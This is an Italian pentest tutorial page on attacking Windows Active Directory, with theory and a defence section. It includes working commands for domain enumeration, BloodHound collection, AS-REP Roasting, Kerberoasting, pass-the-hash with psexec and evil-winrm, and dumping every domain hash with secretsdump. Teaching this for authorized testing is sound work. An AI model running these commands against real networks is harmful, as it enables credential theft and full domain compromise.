Home › Post-Exploitation › Active Directory

Active Directory (AD)

Come sono organizzate le reti Windows aziendali e come si attaccano. È il cuore del pentest interno reale.

Teoria: com'è fatto AD

Active Directory è il sistema con cui Windows gestisce utenti, computer e permessi di un'intera azienda in modo centralizzato. Concetti chiave:

  • Domain Controller (DC): il server che ospita AD. Chi controlla il DC controlla tutta la rete.
  • Dominio: l'insieme di utenti/PC gestiti (es. corp.local).
  • LDAP: il protocollo per interrogare la "rubrica" di AD (utenti, gruppi).
  • Kerberos: il protocollo di autenticazione principale. Funziona a "biglietti" (ticket): ti autentichi una volta e ottieni un TGT (Ticket Granting Ticket), poi chiedi ticket per i singoli servizi (TGS).
  • NTLM: vecchio meccanismo di autenticazione basato sull'hash della password (ancora presente → base di pass-the-hash).

L'attacco ad AD raramente è un singolo exploit: è una catena — parti da un utente qualsiasi, raccogli informazioni, ti sposti lateralmente, escali fino a Domain Admin.

Enumeration (con credenziali base)

Di solito parti con un utente a bassi privilegi. Prima cosa: mappare il dominio.

# enum via SMB/RPC senza o con credenziali
enum4linux-ng -A 10.10.10.5
rpcclient -U "utente%password" 10.10.10.5
   dentro: enumdomusers, querygroup, ...

# interroga LDAP (utenti, gruppi, descrizioni — spesso password nei campi description!)
ldapsearch -x -H ldap://10.10.10.5 -b "dc=corp,dc=local"

# netexec (ex-crackmapexec): validare credenziali su tutta la rete
netexec smb 10.10.10.0/24 -u utente -p password
netexec smb 10.10.10.5 -u utente -p password --users --groups --shares

BloodHound — trovare la strada per Domain Admin

Come funziona: raccoglie tutte le relazioni di AD (chi è admin di cosa, chi può resettare quali password, sessioni attive) e le mette in un grafo. Poi con una query ti mostra il percorso più breve dal tuo utente a Domain Admin.

# 1) raccogli i dati dal dominio (collector Python, da remoto)
bloodhound-python -u utente -p password -d corp.local -ns 10.10.10.5 -c all
# (su un host Windows compromesso si usa SharpHound.exe)

# 2) importa gli .json in BloodHound (GUI) e usa
   "Shortest Paths to Domain Admins"
BloodHound trasforma un caos di migliaia di oggetti in una freccia: "da qui, a lì, così". È lo strumento che ha cambiato il pentest di AD.

AS-REP Roasting

Come funziona: alcuni utenti hanno l'opzione "non richiedere pre-autenticazione Kerberos". Per loro puoi chiedere al DC un blob cifrato con l'hash della loro password — senza conoscere la password — e craccarlo offline.

# trova utenti senza pre-auth e prendi gli hash (impacket)
impacket-GetNPUsers corp.local/ -usersfile utenti.txt -no-pass -dc-ip 10.10.10.5
# crackalo (hashcat modalità 18200)
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

Kerberoasting

Come funziona: qualsiasi utente autenticato può chiedere un ticket di servizio (TGS) per gli account "di servizio" (quelli con un SPN). Il ticket è cifrato con l'hash della password del service account → lo craccki offline. Questi account hanno spesso password deboli e privilegi alti.

# richiedi i TGS degli account con SPN
impacket-GetUserSPNs corp.local/utente:password -dc-ip 10.10.10.5 -request
# crackalo (hashcat modalità 13100)
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash & movimento laterale

Con NTLM non serve la password in chiaro: basta l'hash per autenticarti (Pass-the-Hash).

# esegui comandi/shell su un host usando l'hash NTLM
impacket-psexec -hashes :<hash_ntlm> Administrator@10.10.10.7
netexec smb 10.10.10.0/24 -u Administrator -H <hash_ntlm>

# shell interattiva su Windows via WinRM (con password o hash)
evil-winrm -i 10.10.10.7 -u Administrator -H <hash_ntlm>

# dump di TUTTI gli hash del dominio (da Domain Admin / sul DC)
impacket-secretsdump corp.local/Administrator@10.10.10.5 -just-dc

Il traguardo finale (DCSync/secretsdump del DC) ti dà l'hash di krbtgt, con cui si forgiano i Golden Ticket (accesso persistente a tutto il dominio). È il "game over" di AD.

Difesa

  • Password lunghe/casuali per i service account (uccide il Kerberoasting); usare gMSA.
  • Niente "no pre-auth"; disabilitare NTLM dove possibile.
  • Tiering degli amministratori, LAPS per le password admin locali, monitoraggio con strumenti come PingCastle.
  • Rilevare le richieste TGS anomale e l'uso di BloodHound/SharpHound.
Risorsa d'oro: HackTricks — Active Directory Methodology. Libri: Advanced Penetration Testing, Hacking Exposed – Windows. Vedi Risorse.